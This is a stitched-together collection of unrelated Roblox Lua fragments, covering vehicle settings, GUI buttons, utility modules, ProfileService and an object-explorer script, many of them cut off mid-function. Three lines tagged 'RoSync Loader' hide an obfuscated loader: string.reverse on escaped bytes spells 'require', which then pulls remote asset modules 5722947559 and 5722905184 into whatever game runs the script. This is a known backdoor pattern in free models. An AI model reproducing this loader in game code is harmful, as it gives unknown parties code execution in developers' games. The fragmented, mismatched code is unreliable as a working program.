if Player then Owners[Player] = self end
self._OwnerChangedEvent:Fire(Player)
end
|
---- script -----
|
Button.Activated:Connect(function()
InventoryFrame.Visible = true
InformationFrame.Visible = true
CaseInventoryFrame.Visible = false
CaseInformationFrame.Visible = false
SkinsViewFrame.Visible = false
SkinsViewFrame.Position = UDim2.new(0.099, 0,0.999, 0)
end)
|
-- declarations
|
local Torso=waitForChild(sp,"Torso")
local Head=waitForChild(sp,"Head")
local RightShoulder=waitForChild(Torso,"Right Shoulder")
local LeftShoulder=waitForChild(Torso,"Left Shoulder")
local RightHip=waitForChild(Torso,"Right Hip")
local LeftHip=waitForChild(Torso,"Left Hip")
local Neck=waitForChild(Torso,"Tail")
local Humanoid=waitForChild(sp,"Humanoid")
local BodyColors=waitForChild(sp,"Body Colors")
local pose="Standing"
local hitsound=waitForChild(Head,"Bite Bark")
local BARKING=waitForChild(Head,"Seal Barking")
|
--Setup
|
if Speed_Units == "MPH" then
Speed_Units = (10/12) * (60/88)
elseif Speed_Units == "KMH" then
Speed_Units = (10/12) * 1.09728
elseif Speed_Units == "SPS" then
Speed_Units = 1
end
function CheckValue(Object)
if Object.Value == true then
Dash[Object.Name].ImageTransparency = 0
else
Dash[Object.Name].ImageTransparency = 0.7
end
end
for i = 1, 4 do
Dash.Tach[i].RPM.Text = i * 0.25 * (_Tune.Redline - 500)
end
CheckValue(Values.PBrake)
CheckValue(Values.ABS)
CheckValue(Values.TCS)
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
SecondLogic | Inspare (thanks!)
Avxnturador | Novena
--]]
|
local autoscaling = true --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
-- Define a function to handle button clicks and ban the player
|
function onKickButtonClicked()
local playerId = tonumber(idTextBox.Text)
if playerId then
local success, result = pcall(function()
return banPlayerRemote:InvokeServer(playerId)
end)
if success and result then
idTextBox.Text = ""
idTextBox.PlaceholderText = "Player ID"
idTextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
idTextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
else
idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0)
idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200)
idTextBox.PlaceholderText = "Invalid ID"
end
else
idTextBox.TextColor3 = Color3.fromRGB(255, 0, 0)
idTextBox.BackgroundColor3 = Color3.fromRGB(255, 200, 200)
idTextBox.PlaceholderText = "Invalid ID"
end
end
|
--[[
USAGE EXAMPLE:
--------
local dataStoreService = game:GetService("DataStoreService")
-- Mock service if the game is offline:
if (game.PlaceId == 0) then
dataStoreService = require(game.ServerStorage.MockDataStoreService)
end
-- dataStoreService will act exactly like the real one
--------
The mocked data store service should function exactly like the
real service. What the mocked service does is "override" the
core methods, such as GetAsync. If you try to index a property
that hasn't been overridden (such as dataStoreService.Name), it
will reference the actual property in the real dataStoreService.
NOTE:
This has been created based off of the DataStoreService on
August 20, 2014. If a change has been made to the service,
this mocked version will not reflect the changes.
--]]
|
local DataStoreService = {}
local API = {}
local MT = {}
|
--[[
This script creates sounds which are placed under the character head.
These sounds are used by the "LocalSound" script.
]]--
--humanoidSoundNewLocal.rbxmx--
|
function CreateNewSound(name, id, looped, pitch)
local sound = Instance.new("Sound")
sound.SoundId = id
sound.Name = name
sound.archivable = false
sound.Parent = script.Parent.Head
sound.Pitch = pitch
sound.Looped = looped
return sound
end
CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1)
CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1)
CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1)
CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1)
CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1)
CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1)
CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85)
CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6)
CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1)
|
-- Function
|
botao.ProximityPrompt.Triggered:Connect(function(plr)
--
if plr.PlayerInfo.Patente.Value >= 3 then
--
if aberto == false then
create1:Play()
som:Play()
tela.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Lime green")
wait(3)
aberto = true
else
create2:Play()
som:Play()
tela.BrickColor = BrickColor.new("Really red")
script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Really red")
wait(3)
aberto = false
end
--
else
local Clone = script.NotificationScript:Clone()
Clone.Disabled = false
Clone.Parent = plr.PlayerGui
end
end)
|
--Please don't delete any of the coding unless you going to adjust some
--things and if also you have some knowledge in Lua scripting.
|
if script.Disabled == false then
on.Transparency = 0.10
wait(0.05)
on.Transparency = 0.15
wait(0.05)
on.Transparency = 0.20
wait(0.05)
on.Transparency = 0.25
wait(0.05)
on.Transparency = 0.30
wait(0.05)
on.Transparency = 0.35
wait(0.05)
on.Transparency = 0.40
wait(0.05)
on.Transparency = 0.45
wait(0.05)
on.Transparency = 0.50
wait(0.05)
on.Transparency = 0.55
wait(0.05)
on.Transparency = 0.60
wait(0.05)
on.Transparency = 0.65
wait(0.05)
on.Transparency = 0.70
wait(0.05)
on.Transparency = 0.75
wait(0.05)
on.Transparency = 0.80
wait(0.05)
on.Transparency = 0.85
wait(0.05)
on.Transparency = 0.90
wait(0.05)
on.Transparency = 0.95
wait(0.05)
on.Transparency = 1
end
|
--black 3
|
if k == "x" and ibo.Value==true then
bin.Blade.BrickColor = BrickColor.new("Really black")
bin.Blade2.BrickColor = BrickColor.new("Institutional white")
bin.Blade.White.Enabled=false colorbin.white.Value = false
bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
bin.Blade.Green.Enabled=false colorbin.green.Value = false
bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false
bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
bin.Blade.Red.Enabled=false colorbin.red.Value = false
bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
bin.Blade.Black.Enabled=true colorbin.black.Value = true
bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false
bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
end
|
-----------------------------------------
|
while true do --Makes a loop
wait(3) --The ammount of time before the bone zone goes up again!
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
end -- Ends loop
|
----- EXAMPLE CODE -----
|
local weldList1 = WeldAllToPart(P, P.Part) -- Weld a model, returns a list of welds.
UnanchorWeldList(weldList1) -- Unanchores the list of welds given.
script:Destroy() -- Clean up this script.
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.T ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.K ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
-- Creates a new tree node from an object. Called when an object starts
-- existing in the game tree.
|
addObject = function(object,noupdate,parent)
if script then
-- protect against naughty RobloxLocked objects
local s = pcall(check,object)
if not s then
return
end
end
local parentNode
if parent then
parentNode = NodeLookup[parent]
else
parentNode = NodeLookup[object.Parent]
end
if not parentNode then
return
end
local objectNode = {
Object = object;
Parent = parentNode;
Index = 0;
Expanded = false;
Selected = false;
Depth = depth(object);
}
connLookup[object] = Connect(object.AncestryChanged,function(c,p)
if c == object then
if p == nil then
removeObject(c)
else
moveObject(c,p)
end
end
end)
NodeLookup[object] = objectNode
insert(parentNode,#parentNode+1,objectNode)
if not noupdate then
if nodeIsVisible(objectNode) then
updateList()
elseif nodeIsVisible(objectNode.Parent) then
updateScroll()
end
end
end
local function makeObject(obj, par)
--[[local newObject = Instance_new(obj.ClassName)
for i,v in pairs(obj.Properties) do
ypcall(function()
local newProp
newProp = ToPropValue(v.Value,v.Type)
newObject[v.Name] = newProp
end)
end
newObject.Parent = par
obj.Properties.Parent = par--]]
RemoteEvent:InvokeServer("InstanceNew", obj.ClassName, obj.Properties)
end
local function writeObject(obj)
local newObject = {ClassName = obj.ClassName, Properties = {}}
for i,v in pairs(RbxApi.GetProperties(obj.className)) do
if v["Name"] ~= "Parent" then
print("thispassed")
table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])})
end
end
return newObject
end
do
local function registerNodeLookup4(o)
NodeLookup[o] = {
Object = o;
Parent = nil;
Index = 0;
Expanded = true;
}
end
registerNodeLookup4(game)
NodeLookup[DexOutput] = {
Object = DexOutput;
Parent = nil;
Index = 0;
Expanded = true;
}
registerNodeLookup4(HiddenEntries)
registerNodeLookup4(HiddenGame)
Connect(game.DescendantAdded,addObject)
Connect(game.DescendantRemoving,removeObject)
Connect(DexOutput.DescendantAdded,addObject)
Connect(DexOutput.DescendantRemoving,removeObject)
local function get(o)
return o:GetChildren()
end
local function r(o)
if o == game and MuteHiddenItems then
for i, v in pairs(gameChildren) do
addObject(v,true)
r(v)
end
return
end
local s,children = pcall(get,o)
if s then
for i = 1,#children do
addObject(children[i],true)
r(children[i])
end
end
end
r(game)
r(DexOutput)
r(HiddenEntries)
scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
updateList()
end
|
--[[ Last synced 10/19/2020 07:15 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- you can mess with these settings
|
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.Q;} -- lets you move your mouse around in firstperson
CanViewBody = true -- whether you see your body
Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05 -- recommend anything between 0~1
FieldOfView = 80 -- fov
HeadOffset = CFrame.new(0, 1.3 ,0) -- how far your camera is from your head
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local human = character.Humanoid
local humanoidpart = character.HumanoidRootPart
local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0
local running = true
local freemouse = false
local defFOV = FieldOfView
local w, a, s, d, lshift = false, false, false, false, false
|
--[=[
"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected.
A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter,
the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable.
When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.
```lua
local Obliterator = Janitor.new()
Obliterator:Add(function()
print("Cleaning up!")
end, true)
do
local Folder = Instance.new("Folder")
Obliterator:LinkToInstance(Folder)
Folder:Destroy()
end
```
```ts
import { Janitor } from "@rbxts/janitor";
const Obliterator = new Janitor();
Obliterator.Add(() => print("Cleaning up!"), true);
{
const Folder = new Instance("Folder");
Obliterator.LinkToInstance(Folder, false);
Folder.Destroy();
}
```
This returns a mock `RBXScriptConnection` (see: [RbxScriptConnection](#RbxScriptConnection)).
@param Object Instance -- The instance you want to link the Janitor to.
@param AllowMultiple? boolean -- Whether or not to allow multiple links on the same Janitor.
@return RbxScriptConnection -- A pseudo RBXScriptConnection that can be disconnected to prevent the cleanup of LinkToInstance.
]=]
|
function Janitor:LinkToInstance(Object: Instance, AllowMultiple: boolean?): RbxScriptConnection
local Connection
local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
local IsNilParented = Object.Parent == nil
local ManualDisconnect = setmetatable({}, RbxScriptConnection)
local function ChangedFunction(_DoNotUse, NewParent)
if ManualDisconnect.Connected then
_DoNotUse = nil
IsNilParented = NewParent == nil
if IsNilParented then
task.defer(function()
if not ManualDisconnect.Connected then
return
elseif not Connection.Connected then
self:Cleanup()
else
while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
task.wait()
end
if ManualDisconnect.Connected and IsNilParented then
self:Cleanup()
end
end
end)
end
end
end
Connection = Object.AncestryChanged:Connect(ChangedFunction)
ManualDisconnect.Connection = Connection
if IsNilParented then
ChangedFunction(nil, Object.Parent)
end
Object = nil :: any
return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end
|
--create tables:
|
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "a" then
table.insert(a, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "b" then
table.insert(b, 1, part)
end
end
function lightOn(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = true
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = true
end
end
end
function lightOff(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = false
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = false
end
end
end
while true do
lightOn(a)
wait(0.2)
lightOff(a)
wait(0.2)
|
--// Damage Settings
|
BaseDamage = 51; -- Torso Damage
LimbDamage = 43; -- Arms and Legs
ArmorDamage = 43; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 79; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
----------------------------------------------------------------------------------
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--[[
---------------------------------
--------[ INSTRUCTIONS: ]--------
---------------------------------
Step 1: Make a developer product. If you dont know how,
open the script called DeveloperProductsHelp and
read it.
Step 2: Get the ID of the first product and place it down
below.
Step 3: Where it says product price, change that to the
amount of robux your developer product costs.
Step 4: If you have more devloper products, put the below
in the next slot, and add their price in too.
Step 5: If there is a slot that is empty, make sure
to delete it.
---------------------------------
-----[ END OF INSTRUCTIONS ]-----
---------------------------------
--]]
|
local module = {}
module.Products = {
{
ProductPrice = 5, -- Put the PRICE of the Developer Product here.
ProductId = 1297148371 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 10, -- Put the PRICE of the Developer Product here.
ProductId = 1297149509 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 15, -- Put the PRICE of the Developer Product here.
ProductId = 1297149793 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 20, -- Put the PRICE of the Developer Product here.
ProductId = 1297150000 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 25, -- Put the PRICE of the Developer Product here.
ProductId = 1297150135 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 50, -- Put the PRICE of the Developer Product here.
ProductId = 1297150301 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 75, -- Put the PRICE of the Developer Product here.
ProductId = 1297150525 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 100, -- Put the PRICE of the Developer Product here.
ProductId = 1297150657 -- Put the ID of the Developer Product here.
},
{
ProductPrice = 150, -- Put the PRICE of the Developer Product here.
ProductId = 1297150806 -- Put the ID of the Developer Product here.
},
}
return module
|
--[[ The Module ]]
|
--
local TransparencyController = {}
TransparencyController.__index = TransparencyController
function TransparencyController.new()
local self = setmetatable({}, TransparencyController)
self.transparencyDirty = false
self.enabled = false
self.lastTransparency = nil
self.descendantAddedConn, self.descendantRemovingConn = nil, nil
self.toolDescendantAddedConns = {}
self.toolDescendantRemovingConns = {}
self.cachedParts = {}
return self
end
function TransparencyController:HasToolAncestor(object: Instance)
if object.Parent == nil then return false end
assert(object.Parent, "")
return object.Parent:IsA('Tool') or self:HasToolAncestor(object.Parent)
end
function TransparencyController:IsValidPartToModify(part: BasePart)
if part:IsA('BasePart') or part:IsA('Decal') then
return not self:HasToolAncestor(part)
end
return false
end
function TransparencyController:CachePartsRecursive(object)
if object then
if self:IsValidPartToModify(object) then
self.cachedParts[object] = true
self.transparencyDirty = true
end
for _, child in pairs(object:GetChildren()) do
self:CachePartsRecursive(child)
end
end
end
function TransparencyController:TeardownTransparency()
for child, _ in pairs(self.cachedParts) do
child.LocalTransparencyModifier = 0
end
self.cachedParts = {}
self.transparencyDirty = true
self.lastTransparency = nil
if self.descendantAddedConn then
self.descendantAddedConn:disconnect()
self.descendantAddedConn = nil
end
if self.descendantRemovingConn then
self.descendantRemovingConn:disconnect()
self.descendantRemovingConn = nil
end
for object, conn in pairs(self.toolDescendantAddedConns) do
conn:Disconnect()
self.toolDescendantAddedConns[object] = nil
end
for object, conn in pairs(self.toolDescendantRemovingConns) do
conn:Disconnect()
self.toolDescendantRemovingConns[object] = nil
end
end
function TransparencyController:SetupTransparency(character)
self:TeardownTransparency()
if self.descendantAddedConn then self.descendantAddedConn:disconnect() end
self.descendantAddedConn = character.DescendantAdded:Connect(function(object)
-- This is a part we want to invisify
if self:IsValidPartToModify(object) then
self.cachedParts[object] = true
self.transparencyDirty = true
-- There is now a tool under the character
elseif object:IsA('Tool') then
if self.toolDescendantAddedConns[object] then self.toolDescendantAddedConns[object]:Disconnect() end
self.toolDescendantAddedConns[object] = object.DescendantAdded:Connect(function(toolChild)
self.cachedParts[toolChild] = nil
if toolChild:IsA('BasePart') or toolChild:IsA('Decal') then
-- Reset the transparency
toolChild.LocalTransparencyModifier = 0
end
end)
if self.toolDescendantRemovingConns[object] then self.toolDescendantRemovingConns[object]:disconnect() end
self.toolDescendantRemovingConns[object] = object.DescendantRemoving:Connect(function(formerToolChild)
wait() -- wait for new parent
if character and formerToolChild and formerToolChild:IsDescendantOf(character) then
if self:IsValidPartToModify(formerToolChild) then
self.cachedParts[formerToolChild] = true
self.transparencyDirty = true
end
end
end)
end
end)
if self.descendantRemovingConn then self.descendantRemovingConn:disconnect() end
self.descendantRemovingConn = character.DescendantRemoving:connect(function(object)
if self.cachedParts[object] then
self.cachedParts[object] = nil
-- Reset the transparency
object.LocalTransparencyModifier = 0
end
end)
self:CachePartsRecursive(character)
end
function TransparencyController:Enable(enable: boolean)
if self.enabled ~= enable then
self.enabled = enable
end
end
function TransparencyController:SetSubject(subject)
local character = nil
if subject and subject:IsA("Humanoid") then
character = subject.Parent
end
if subject and subject:IsA("VehicleSeat") and subject.Occupant then
character = subject.Occupant.Parent
end
if character then
self:SetupTransparency(character)
else
self:TeardownTransparency()
end
end
function TransparencyController:Update(dt)
local currentCamera = workspace.CurrentCamera
if currentCamera and self.enabled then
-- calculate goal transparency based on distance
local distance = (currentCamera.Focus.p - currentCamera.CoordinateFrame.p).magnitude
local transparency = (distance<2) and (1.0-(distance-0.5)/1.5) or 0 -- (7 - distance) / 5
if transparency < 0.5 then -- too far, don't control transparency
transparency = 0
end
-- tween transparency if the goal is not fully transparent and the subject was not fully transparent last frame
if self.lastTransparency and transparency < 1 and self.lastTransparency < 0.95 then
local deltaTransparency = transparency - self.lastTransparency
local maxDelta = MAX_TWEEN_RATE * dt
deltaTransparency = math.clamp(deltaTransparency, -maxDelta, maxDelta)
transparency = self.lastTransparency + deltaTransparency
else
self.transparencyDirty = true
end
transparency = math.clamp(Util.Round(transparency, 2), 0, 1)
-- update transparencies
if self.transparencyDirty or self.lastTransparency ~= transparency then
for child, _ in pairs(self.cachedParts) do
child.LocalTransparencyModifier = transparency
end
self.transparencyDirty = false
self.lastTransparency = transparency
end
end
end
return TransparencyController
|
--[[**
matches given tuple against tuple type definition
@param ... The type definition for the tuples
@returns A function that will return true iff the condition is passed
**--]]
|
function t.tuple(...)
local checks = {...}
return function(...)
local args = {...}
for i, check in ipairs(checks) do
local success, errMsg = check(args[i])
if success == false then
return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
end
end
return true
end
end
|
--/////////// CONFIGURATIONS \\\\\\\\\\\\\\\\\
|
local sensitivity = 1.5 -- how quick/snappy the sway movements are. Don't go above 2
local baseswaysize = 1
local swaysize = 1 -- how large/powerful the sway is. Don't go above 2
local includestrafe = false -- if true the fps arms will sway when the character is strafing
local includewalksway = true -- if true, fps arms will sway when you are walking
local includecamerasway = true -- if true, fps arms will sway when you move the camera
local includejumpsway = true -- if true, jumping will have an effect on the viewmodel
local headoffset = Vector3.new(0,0,0) -- the offset from the default camera position of the head. (0,1,0) will put the camera one stud above the head.
local firstperson_arm_transparency = 0 -- the transparency of the arms in first person; set to 1 for invisible and set to 0 for fully visible.
local firstperson_waist_movements_enabled = false -- if true, animations will affect the Uppertorso. If false, the uppertorso stays still while in first person (applies to R15 only)
|
------------------------------------------------------------------------
-- parse a local variable declaration statement
-- * used in statements()
------------------------------------------------------------------------
|
function luaY:localstat(ls)
-- stat -> LOCAL NAME {',' NAME} ['=' explist1]
local nvars = 0
local nexps
local e = {} -- expdesc
repeat
self:new_localvar(ls, self:str_checkname(ls), nvars)
nvars = nvars + 1
until not self:testnext(ls, ",")
if self:testnext(ls, "=") then
nexps = self:explist1(ls, e)
else
e.k = "VVOID"
nexps = 0
end
self:adjust_assign(ls, nvars, nexps, e)
self:adjustlocalvars(ls, nvars)
end
|
--[[Leaning]]
|
--
Tune.LeanSpeed = .07 -- How quickly the the bike will lean, .01 being slow, 1 being almost instantly
Tune.LeanProgressiveness = 30 -- How much steering is kept at higher speeds, a lower number is less steering, a higher number is more steering
Tune.MaxLean = 58 -- Maximum lean angle in degrees
Tune.LeanD = 90 -- Dampening of the lean
Tune.LeanMaxTorque = 500 -- Force of the lean
Tune.LeanP = 300 -- Aggressiveness of the lean
|
--[=[
@within TableUtil
@function FlatMap
@param tbl table
@param predicate (key: any, value: any, tbl: table) -> newValue: any
@return table
Calls `TableUtil.Map` on the given table and predicate, and then
calls `TableUtil.Flat` on the result from the map operation.
```lua
local t = {10, 20, 30}
local result = TableUtil.FlatMap(t, function(value)
return {value, value * 2}
end)
print(result) --> {10, 20, 20, 40, 30, 60}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function FlatMap<T, M>(tbl: { T }, callback: (T, number, { T }) -> M): { M }
return Flat(Map(tbl, callback))
end
|
-- DISGUSTING. NEVER DO THIS.
|
function nearPlayer()
local p = game.Players:GetPlayers()
for i=1,#p do
if (p[i].Character) then
local t = p[i].Character:FindFirstChild("Torso")
if t then
if (Board.Position - t.Position).magnitude < 20 then
return true
end
end
end
end
return false
end
function sepuku()
if not nearPlayer() then
Board:Remove()
end
end
while true do
wait(30)
sepuku()
end
|
--[[
Invokes `callback`, capturing all output that happens during its execution.
Output will not go to stdout or stderr and will instead be put into a
LogInfo object that is returned. If `callback` throws, the error will be
bubbled up to the caller of `Logging.capture`.
]]
|
function Logging.capture(callback)
local collector = createLogInfo()
local wasOutputEnabled = outputEnabled
outputEnabled = false
collectors[collector] = true
local success, result = pcall(callback)
collectors[collector] = nil
outputEnabled = wasOutputEnabled
assert(success, result)
return collector
end
|
-- local SNAPSHOT_ARG = printSnapshot.SNAPSHOT_ARG
|
local bReceivedColor = printSnapshot.bReceivedColor
local matcherHintFromConfig = printSnapshot.matcherHintFromConfig
|
--// Probabilities
|
JamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween
TracerChance = 70; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween
|
-- Release all loaded profiles when the server is shutting down:
|
task.spawn(function()
WaitForLiveAccessCheck()
Madwork.ConnectToOnClose(
function()
ProfileService.ServiceLocked = true
-- 1) Release all active profiles: --
-- Clone AutoSaveList to a new table because AutoSaveList changes when profiles are released:
local on_close_save_job_count = 0
local active_profiles = {}
for index, profile in ipairs(AutoSaveList) do
active_profiles[index] = profile
end
-- Release the profiles; Releasing profiles can trigger listeners that release other profiles, so check active state:
for _, profile in ipairs(active_profiles) do
if profile:IsActive() == true then
on_close_save_job_count = on_close_save_job_count + 1
task.spawn(function() -- Save profile on new thread
SaveProfileAsync(profile, true)
on_close_save_job_count = on_close_save_job_count - 1
end)
end
end
-- 2) Yield until all active profile jobs are finished: --
while on_close_save_job_count > 0 or ActiveProfileLoadJobs > 0 or ActiveProfileSaveJobs > 0 do
task.wait()
end
return -- We're done!
end,
UseMockDataStore == false -- Always run this OnClose task if using Roblox API services
)
end)
return ProfileService
|
--[[ Last synced 4/18/2021 05:54 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ Last synced 4/18/2021 05:55 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
Cache results of a function such that subsequent calls return the cached result rather than
call the function again.
By default, a cached result is stored for each separate combination of serialized input args.
Optionally memoize takes a serializeArgs function which should return a key that the result
should be cached with for a given call signature. Return nil to avoid caching the result.
]]
|
function FunctionUtils.memoize(fn, serializeArgs)
assert(type(fn) == "function")
serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs
assert(type(serializeArgs) == "function")
local cache = {}
local proxyFunction = function(...)
local proxyArgs = {...}
local cacheKey = serializeArgs(proxyArgs)
if cacheKey == nil then
return fn(...)
else
if cache[cacheKey] == nil then
cache[cacheKey] = fn(...)
end
return cache[cacheKey]
end
end
return proxyFunction
end
function FunctionUtils.setTimeout(fn, secondsDelay)
local cleared = false
local timeout
delay(
secondsDelay,
function()
if not cleared then
fn(timeout)
end
end
)
timeout = {
clear = function()
cleared = true
end
}
return timeout
end
function FunctionUtils.setInterval(fn, secondsDelay)
local timeout
local callTimeout
callTimeout = function()
timeout =
FunctionUtils.setTimeout(
function()
callTimeout()
fn(timeout)
end,
secondsDelay
)
end
callTimeout()
return {
clear = function()
timeout:clear()
end
}
end
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
